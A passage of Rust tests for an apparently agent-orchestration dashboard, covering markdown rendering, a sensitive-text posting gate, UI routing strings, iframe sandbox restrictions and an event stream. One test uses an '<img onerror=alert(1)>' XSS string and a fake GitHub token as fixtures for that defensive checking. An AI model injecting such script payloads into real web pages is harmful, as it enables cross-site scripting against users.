19355        strong("/reviews_md/0/reconsideration/0");
19356        strong("/reviews_md/0/fix/notes");
19357        strong("/reviews_md/0/fix/rejected/0");
19358        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19359        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19360        // The raw strings stay, and no schema moved.
19361        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19362        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19363    }
19364
19365    #[test]
19366    fn a_run_without_advice_has_no_advice_md() {
19367        let state = RunState::new(
19368            std::path::PathBuf::from("/repo"),
19369            "main".to_owned(),
19370            "abc".to_owned(),
19371            "x".to_owned(),
19372            crate::config::Config::default(),
19373        );
19374        let p = run_prose_md(&state);
19375        assert!(p.advice_md.is_none());
19376        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19377    }
19378
19379    #[test]
19380    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19381        let store = ask::Questions::at(PathBuf::from("unused"));
19382        let gt = crate::github_text::Withheld {
19383            title: false,
19384            body: true,
19385            categories: vec!["sensitive-data".into()],
19386        };
19387        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19388        let (detail, comparison) =
19389            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19390        let mut q = Question::new(
19391            "r".into(),
19392            "github-text".into(),
19393            "posting-gate".into(),
19394            "s".into(),
19395            detail,
19396            Vec::new(),
19397        );
19398        assert!(
19399            QuestionView::of(q.clone(), &store, None)
19400                .posting_view
19401                .is_none()
19402        );
19403        q.posting_comparison = Some(comparison);
19404        let view = QuestionView::of(q.clone(), &store, None);
19405        let field = &view.posting_view.unwrap().fields[0];
19406        assert_eq!(
19407            field
19408                .original
19409                .iter()
19410                .map(|f| f.text.as_str())
19411                .collect::<String>(),
19412            body
19413        );
19414        assert!(field.original[0].text.starts_with("<img"));
19415        let original_question: Question =
19416            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19417        assert_eq!(original_question, q);
19418        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19419            .original
19420            .start = 1;
19421        assert!(
19422            QuestionView::of(q.clone(), &store, None)
19423                .posting_view
19424                .is_none()
19425        );
19426        q.posting_comparison = original_question.posting_comparison;
19427        q.detail.push_str("extra context");
19428        assert!(
19429            QuestionView::of(q.clone(), &store, None)
19430                .posting_view
19431                .is_some()
19432        );
19433        q.detail.insert(0, 'x');
19434        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19435    }
19436
19437    #[test]
19438    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19439        let store = ask::Questions::at(PathBuf::from("unused"));
19440        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19441        let gt = crate::github_text::Withheld::from_check(
19442            &crate::github_text::check("fix: x", body),
19443            "fix: x",
19444            body,
19445        )
19446        .unwrap();
19447        let (detail, comparison) =
19448            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19449        let mut q = Question::new(
19450            "r".into(),
19451            "github-text".into(),
19452            "posting-gate".into(),
19453            "s".into(),
19454            detail,
19455            Vec::new(),
19456        );
19457        q.posting_comparison = Some(comparison);
19458        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19459        let field = &value["posting_view"]["fields"][0];
19460        let group = &field["replacement_group"];
19461        let triggers = group["triggers"].as_array().unwrap();
19462        assert_eq!(triggers.len(), 2);
19463        assert_ne!(triggers[0], triggers[1]);
19464        for id in triggers {
19465            assert!(
19466                field["original"]
19467                    .as_array()
19468                    .unwrap()
19469                    .iter()
19470                    .any(|f| &f["pair"] == id)
19471            );
19472            assert!(
19473                !field["changed"]
19474                    .as_array()
19475                    .unwrap()
19476                    .iter()
19477                    .any(|f| &f["pair"] == id)
19478            );
19479        }
19480        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19481            group["id"].as_u64().unwrap() as usize;
19482        assert!(
19483            QuestionView::of(q, &store, None).posting_view.is_none(),
19484            "group and trigger IDs cannot collide"
19485        );
19486    }
19487
19488    #[test]
19489    fn a_question_view_carries_markdown_for_each_thread_turn() {
19490        let home = TempDir::new().unwrap();
19491        let store = ask::Questions::at(home.path().join("questions"));
19492        let mut q = Question::new(
19493            "run".to_owned(),
19494            "implement".to_owned(),
19495            "impl-A".to_owned(),
19496            "which?".to_owned(),
19497            String::new(),
19498            Vec::new(),
19499        );
19500        q.say("plain words").unwrap();
19501        q.reply("use **this**", Vec::new()).unwrap();
19502        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19503        let bodies = &v["thread_bodies_md"];
19504        assert_eq!(bodies.as_array().unwrap().len(), 2);
19505        assert!(!bodies[0].to_string().contains("strong"));
19506        assert!(bodies[1].to_string().contains("strong"));
19507    }
19508
19509    #[test]
19510    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19511        let home = TempDir::new().unwrap();
19512        let store = ask::Questions::at(home.path().join("questions"));
19513        let mut q = Question::new(
19514            "run".to_owned(),
19515            "conduct".to_owned(),
19516            "conduct".to_owned(),
19517            "which?".to_owned(),
19518            String::new(),
19519            Vec::new(),
19520        );
19521        q.say("plain words").unwrap();
19522        q.thread.push(ask::Turn {
19523            who: ask::Who::Agent,
19524            body: "Settled as `merge`".to_owned(),
19525            at: jiff::Timestamp::now(),
19526            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19527        });
19528        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19529        let notes = &v["thread_notes_md"];
19530        assert_eq!(notes.as_array().unwrap().len(), 2);
19531        assert!(notes[0].is_null());
19532        let text = notes[1].to_string();
19533        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19534        assert!(APP_JS.contains("ask-turn-note"));
19535    }
19536
19537    #[test]
19538    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19539        // The land panel defers to `run.status` for merged, and labels a
19540        // recorded-open PR on any finished run (superseded, blocked, ...) as
19541        // last seen, never as live state.
19542        assert!(APP_JS.contains("function landView(run, raw) {"));
19543        assert!(
19544            APP_JS.contains(
19545                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19546            )
19547        );
19548        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19549        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19550        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19551        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19552    }
19553
19554    #[test]
19555    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19556        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19557        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19558        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19559        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19560    }
19561
19562    #[test]
19563    fn review_rounds_label_a_distinct_verified_head() {
19564        assert!(APP_JS.contains("round.verified_head"));
19565        assert!(APP_JS.contains("verified HEAD"));
19566        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19567    }
19568
19569    #[test]
19570    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19571        // A blocked task's chip and note must not fall back to a queued-like
19572        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19573        // itself by e11fc58 but never checked here.
19574        assert!(APP_JS.contains("blocked: { glyph:"));
19575        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19576
19577        // `blocked_by` mixes task ids and question ids in the same list, and
19578        // the client can only tell them apart by checking each id against
19579        // what it actually knows - never by guessing from the id's shape.
19580        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19581        assert!(
19582            APP_JS.contains(
19583                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19584            ),
19585            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19586        );
19587        // The classification must key off `status_str`, never off `blocked_by`
19588        // or `block_reason` merely being present - both can survive briefly
19589        // on a task a hold or a dead daemon just moved off `blocked`.
19590        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19591
19592        // A question a task is blocked on gets its own node in the same
19593        // dependency graph, not just a task-shaped node with nothing known
19594        // about it.
19595        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19596        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19597        assert!(
19598            APP_JS.contains("location.hash = \"#/questions\";"),
19599            "a question node must jump to the Questions screen, not pretend to be a task"
19600        );
19601
19602        // `Task::answers` - decisions already made - are shown as a record on
19603        // the card, the same disclosure style as the full instruction.
19604        assert!(APP_JS.contains("Resolved questions"));
19605        assert!(APP_JS.contains("r.answersList.append("));
19606        assert!(APP_CSS.contains(".task-answers"));
19607        {
19608            let start = APP_JS
19609                .find("function updateTalkTaskRow")
19610                .expect("updateTalkTaskRow");
19611            let body = &APP_JS[start..];
19612            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19613            assert!(
19614                body.contains(
19615                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19616                ),
19617                "a chat-filed task row must link to the task page"
19618            );
19619            assert!(
19620                !body.contains("#/runs/") && !body.contains("#/queue/"),
19621                "the row must not branch to a run or the queue card"
19622            );
19623            assert!(APP_CSS.contains(".talk-task-link"));
19624        }
19625    }
19626
19627    #[test]
19628    fn a_task_notification_links_to_the_task_page() {
19629        // A task notice opens the task detail page, not the Backlog card.
19630        let start = APP_JS
19631            .find("function noticeLink(")
19632            .expect("noticeLink exists");
19633        let body = &APP_JS[start..];
19634        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19635        assert!(
19636            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19637            "a task notice's link must target the task page"
19638        );
19639        assert!(
19640            !body.contains("#/queue/"),
19641            "regression: the task link must not go back to the Backlog route"
19642        );
19643        assert!(
19644            APP_JS.contains(
19645                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19646            ),
19647            "`#/tasks/<id>` must parse into the task route"
19648        );
19649
19650        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19651        assert!(
19652            APP_JS.contains(
19653                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19654            ),
19655            "`#/queue/<id>` must parse into a route carrying that id"
19656        );
19657
19658        // And the Backlog view has to actually land on the card once it can
19659        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19660        // so a focus set before the queue has loaded is retried once it has.
19661        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19662        assert!(APP_JS.contains("function consumeQueueFocus()"));
19663        assert!(APP_JS.contains("jumpToTask(id)"));
19664    }
19665
19666    #[test]
19667    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19668        let start = APP_JS
19669            .find("function noticeCoveredBy(")
19670            .expect("noticeCoveredBy exists");
19671        let body = &APP_JS[start..];
19672        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19673
19674        // Historical associations are informational, even for open questions.
19675        assert!(body.contains("Associated question ${short}"));
19676        assert!(!body.contains("el(\"a\""));
19677
19678        // A resolved question displays status rather than an actionable link
19679        assert!(body.contains("(resolved)"));
19680        assert!(body.contains("(closed)"));
19681
19682        let start = APP_JS
19683            .find("function renderNotifications()")
19684            .expect("renderNotifications exists");
19685        let body = &APP_JS[start..];
19686        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19687
19688        // Only a server-resolved answerable question supplies a response link.
19689        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19690        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19691        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19692        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19693    }
19694
19695    /// Chat rows are two lines at every width: the title alone, then the
19696    /// shrinkable secondary info.
19697    #[test]
19698    fn chat_rows_put_the_title_alone_on_the_first_line() {
19699        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19700        assert!(APP_CSS.contains(
19701            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19702        ));
19703        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19704        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19705    }
19706
19707    #[test]
19708    fn run_rows_put_the_title_alone_on_the_first_line() {
19709        assert!(
19710            APP_CSS.contains(
19711                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19712            )
19713        );
19714        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19715        assert!(APP_JS.contains("class: \"card run-card\""));
19716        assert!(APP_JS.contains("class: \"repo run-id\""));
19717    }
19718
19719    /// Wide screens get a master/detail layout built from the views a phone
19720    /// drills into. These are string assertions: they pin the contract between
19721    /// the three assets, not how it looks.
19722    #[test]
19723    fn wide_screens_show_list_and_preview_side_by_side() {
19724        // One breakpoint, spelled the same in the script and the stylesheet.
19725        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19726        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19727        assert!(APP_CSS.contains("main[data-split]"));
19728        assert!(APP_CSS.contains("body[data-split]"));
19729
19730        // The route -> panes table, and a narrow screen opting out of it.
19731        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19732        assert!(
19733            APP_JS.contains(
19734                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19735            )
19736        );
19737        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19738        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19739        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19740
19741        // Selection is derived from the route, and only ever paints a row.
19742        assert!(APP_JS.contains("function markSelected() {"));
19743        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19744        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19745        // The dense row must override the stacked card the 720px block sets up.
19746        assert!(
19747            APP_CSS.contains(
19748                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19749            )
19750        );
19751
19752        // Independent scrolling: the page stops scrolling, each pane does.
19753        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19754        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19755        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19756        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19757
19758        // A refresh must never navigate: the loaders still check that their
19759        // subject is the one on screen, and crossing the breakpoint only
19760        // re-reads the hash.
19761        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19762        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19763        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19764        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19765
19766        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19767        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19768    }
19769
19770    #[test]
19771    fn panel_sandbox_carries_exactly_popups() {
19772        let needle = "sandbox: \"";
19773        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19774        assert_eq!(
19775            matches.len(),
19776            1,
19777            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19778        );
19779        let start = matches[0].0 + needle.len();
19780        let end = APP_JS[start..]
19781            .find('"')
19782            .expect("sandbox attribute value must be terminated by a closing quote");
19783        let val = &APP_JS[start..start + end];
19784        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19785        let expected: std::collections::BTreeSet<&str> =
19786            ["allow-popups", "allow-popups-to-escape-sandbox"]
19787                .into_iter()
19788                .collect();
19789        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19790        assert!(
19791            !tokens.contains("allow-scripts"),
19792            "allow-scripts must never be present in sandbox"
19793        );
19794        assert!(
19795            !tokens.contains("allow-same-origin"),
19796            "allow-same-origin must never be present in sandbox"
19797        );
19798    }
19799
19800    #[test]
19801    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19802        // consumeQueueFocus() clears an active Backlog search before it can
19803        // scroll to the target card (the sections list is hidden while a
19804        // search is showing), by recursing back into renderQueue(). The
19805        // fixer's first cut nulled state.queueFocus before that recursive
19806        // call, so the second pass saw nothing to jump to and the jump was
19807        // silently dropped whenever a notification's link was opened with a
19808        // stale search still active. state.queueFocus must only be cleared
19809        // right before jumpToTask() actually runs.
19810        assert!(
19811            APP_JS.contains(
19812                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
19813            ),
19814            "the search-clearing branch must run before state.queueFocus is cleared, or the \
19815             recursive renderQueue() call has nothing left to jump to"
19816        );
19817        assert!(
19818            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19819            "state.queueFocus must be cleared only once the jump has landed, so a card that \
19820             arrives later still gets it"
19821        );
19822        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19823        assert!(APP_JS.contains("is not in the current Backlog."));
19824        assert!(APP_JS.contains("li.card[data-task-id=\""));
19825        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19826        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19827        assert!(APP_CSS.contains(".card-permalink"));
19828        assert!(APP_CSS.contains(".queue-focus-status"));
19829        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19830    }
19831
19832    #[test]
19833    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19834        // The task's own repro: only the link text inside .notice-meta was
19835        // clickable, so a tap on the message, the timestamp, or the card's
19836        // padding did nothing - on a phone that reads as "the card doesn't
19837        // work" even though the tiny link inside it did. Mark read / Dismiss
19838        // must keep working independently of this: `.closest("a, button")`
19839        // is what lets a tap that actually lands on those elements fall
19840        // through instead of being hijacked into a navigation.
19841        assert!(
19842            APP_JS.contains(
19843                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19844            ),
19845            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19846        );
19847    }
19848
19849    #[test]
19850    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19851        assert!(
19852            APP_JS.contains("round.verified_head !== round.head"),
19853            "a round that verified an earlier commit must be visibly distinct from one that \
19854             verified the head reviewers are looking at now"
19855        );
19856        assert!(
19857            APP_JS.contains("round.verified_at"),
19858            "when a check ran must be on the wire, not just which commit"
19859        );
19860        assert!(
19861            APP_JS.contains("resource_blocked"),
19862            "a command magi never got to run (shared build cache contention) must not render \
19863             the same as a command that ran and failed"
19864        );
19865    }
19866
19867    #[test]
19868    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19869        // Every KPI tile but Total runs and Completion names an exact
19870        // RunStatus and hands it to openRunsFiltered(), which is what wires
19871        // the click into state.runsFilter.status (matchesFilter's own
19872        // status check) rather than the coarser runsStateFilter chips. Each
19873        // status literal here must be one of the strings runSection() (and
19874        // isStale()) actually compare a run's own `status` field against -
19875        // a status this dashboard invented would filter to nothing.
19876        assert!(
19877            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19878            "every KPI tile built through statusTile() must route its click through \
19879             openRunsFiltered, the single place that sets the Runs filter"
19880        );
19881        for (label, status) in [
19882            ("Merged", "merged"),
19883            ("Ready", "ready"),
19884            ("Blocked", "blocked"),
19885            ("Stalled", "stalled"),
19886        ] {
19887            let call = format!("statusTile(\"{label}\", t.{status}, ");
19888            assert!(
19889                APP_JS.contains(&call),
19890                "expected the {label} KPI tile built via {call}..."
19891            );
19892            assert!(
19893                APP_JS.contains(&format!("status === \"{status}\"")),
19894                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19895                 compare a run against, not one invented only for the stats tile"
19896            );
19897        }
19898        assert!(
19899            APP_JS.contains("function openRunsFiltered(status)"),
19900            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19901        );
19902        assert!(
19903            APP_JS.contains(
19904                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19905            ),
19906            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19907        );
19908        // applyRoute() only flips which view is visible for a plain `#runs`
19909        // hash - it does not itself redraw the list (see applyRoute's own
19910        // handling below) - so openRunsFiltered must call renderRuns()
19911        // itself, and must call applyRoute() too so the view flips even
19912        // when the hash string doesn't change (the operator may already be
19913        // on the Runs view when a tile is tapped, which fires no
19914        // hashchange event at all).
19915        assert!(
19916            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19917            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19918             hashchange event that may never fire"
19919        );
19920    }
19921
19922    #[test]
19923    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19924        // A stats tile can leave state.runsFilter.status set to something
19925        // done-by-construction (e.g. "merged") - picking "Active" afterward
19926        // must drop it the same way an incompatible tree section is already
19927        // dropped, or the Runs list renders permanently empty with no way
19928        // for the operator to tell why.
19929        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19930        assert!(
19931            APP_JS.contains(
19932                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19933            ),
19934            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19935             guard for an incompatible tree section"
19936        );
19937    }
19938
19939    #[test]
19940    fn every_stats_queue_tile_names_a_real_queue_section() {
19941        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19942        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19943        // (consumeQueueSectionFocus finds no matching <details> and drops
19944        // the focus) rather than fail loudly, so pin every key against the
19945        // section list it has to resolve against.
19946        assert!(
19947            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19948            "every queue tile built through sectionTile() must route its click through \
19949             openQueueSectionFocus"
19950        );
19951        for key in ["upnext", "running", "done", "held", "blocked"] {
19952            assert!(
19953                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19954                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19955            );
19956        }
19957        // Queued and Failed intentionally both resolve to "upnext" - the
19958        // same section queueSection() itself files them under - rather than
19959        // getting a section each.
19960        for line in [
19961            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19962            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19963            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19964            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19965            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19966            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19967        ] {
19968            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19969        }
19970    }
19971
19972    #[test]
19973    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19974        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19975        // above for the section-focus channel a stats queue tile drives:
19976        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
19977        // through the stale-search-clear recursion into renderQueue(), and
19978        // clear it only once revealQueueSection() is actually about to run -
19979        // the same trap that once silently dropped a task-focus jump.
19980        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19981        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19982        assert!(APP_JS.contains("function revealQueueSection(details)"));
19983        assert!(
19984            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
19985            "renderQueue() must consume both focus channels on every pass"
19986        );
19987        assert!(
19988            APP_JS.contains(
19989                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
19990            ),
19991            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19992             the recursive renderQueue() call has nothing left to reveal"
19993        );
19994        assert!(
19995            APP_JS.contains(
19996                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
19997            ),
19998            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19999        );
20000        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20001        // task-focus form of the hash - a plain `#queue` navigation only
20002        // flips which view is visible. openQueueSectionFocus() must
20003        // therefore call renderQueue() itself, and applyRoute() too so the
20004        // view flips even when the hash doesn't change (the Backlog may
20005        // already be open when a tile is tapped, firing no hashchange
20006        // event at all).
20007        assert!(
20008            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20009            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20010             hashchange event that may never fire"
20011        );
20012    }
20013
20014    #[tokio::test]
20015    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20016        let f = Fixture::start().await;
20017
20018        let mut socket = tokio::net::TcpStream::connect(f.addr)
20019            .await
20020            .expect("connect");
20021        socket
20022            .write_all(
20023                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20024            )
20025            .await
20026            .expect("write request");
20027
20028        // Read until the first event arrives rather than to end of stream: the
20029        // stream is endless by design, which is the point of the route.
20030        let mut seen = String::new();
20031        let mut buf = [0u8; 1024];
20032        while !seen.contains("event: change") {
20033            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20034                .await
20035                .expect("the stream must speak within five seconds")
20036                .expect("read");
20037            assert!(read > 0, "the server closed the change stream: {seen}");
20038            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20039        }
20040
20041        assert!(
20042            seen.to_lowercase()
20043                .contains("content-type: text/event-stream"),
20044            "the browser only reconnects automatically for a real SSE stream: {seen}"
20045        );
20046        let data = seen
20047            .lines()
20048            .find_map(|l| l.strip_prefix("data:"))
20049            .expect("a data line");
20050        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20051        assert!(
20052            payload["queue_rev"].is_u64()
20053                && payload["runs_rev"].is_u64()
20054                && payload["questions_rev"].is_u64()
20055                && payload["talks_rev"].is_u64()
20056                && payload["notifications_rev"].is_u64()
20057                && payload["loop_rev"].is_u64(),
20058            "the client needs one revision per store to know what to refetch, \
20059             and `talks_rev` is the only notification a standing talk gets - a \
20060             phone whose radio slept through a turn learns about it here, as \
20061             does one whose operator started the loop from another device: \
20062             {payload}"
20063        );
20064
20065        // The front end re-polls health on a timer and on wake, and takes the
20066        // revisions from that answer whenever the stream is not up. So health
20067        // has to carry every key the stream carries: a phone on a link that
20068        // will not hold an SSE connection is exactly the phone that must still
20069        // notice a question, and a missing key there is not a 500 but a UI
20070        // that quietly stops updating.
20071        let health = f.get("/api/health").await.json();
20072        for key in [
20073            "queue_rev",
20074            "runs_rev",
20075            "questions_rev",
20076            "talks_rev",
20077            "notifications_rev",
20078            "loop_rev",
20079        ] {
20080            assert!(
20081                health[key].is_u64(),
20082                "health is the change stream's fallback and is missing `{key}`: {health}"
20083            );
20084        }
20085    }
20086
20087    #[tokio::test]
20088    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20089        let f = Fixture::start().await;
20090        let before = f.get("/api/health").await.json()["talks_rev"]
20091            .as_u64()
20092            .expect("talks_rev");
20093
20094        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20095        std::thread::sleep(Duration::from_millis(10));
20096        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20097        on_disk.turns.push(crate::talk::Turn {
20098            sender: None,
20099            breaks: Some(Vec::new()),
20100            messages: Vec::new(),
20101            posted_by: None,
20102            who: crate::talk::Who::Operator,
20103            body: "a new turn".to_owned(),
20104            at: Timestamp::now(),
20105            attachments: Vec::new(),
20106            usage: None,
20107        });
20108        f.talks().put(&mut on_disk).expect("record a turn");
20109
20110        let after = tokio::time::timeout(Duration::from_secs(5), async {
20111            loop {
20112                let revision = f.get("/api/health").await.json()["talks_rev"]
20113                    .as_u64()
20114                    .unwrap();
20115                if revision != before {
20116                    break revision;
20117                }
20118                tokio::time::sleep(Duration::from_millis(50)).await;
20119            }
20120        })
20121        .await
20122        .expect("shared monitor observes external turn");
20123        assert_ne!(
20124            before, after,
20125            "a phone must be able to notice a talk's reply without polling every store"
20126        );
20127    }
20128
20129    #[test]
20130    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20131        // The CLI shows the default in `--help` and parses whatever comes
20132        // back, so the two directions have to agree or `--bind auto` breaks
20133        // the moment someone copies the help text.
20134        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20135            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20136        }
20137        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20138        assert!("everywhere".parse::<Bind>().is_err());
20139    }
20140
20141    #[test]
20142    fn an_explicit_bind_address_is_taken_verbatim() {
20143        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20144
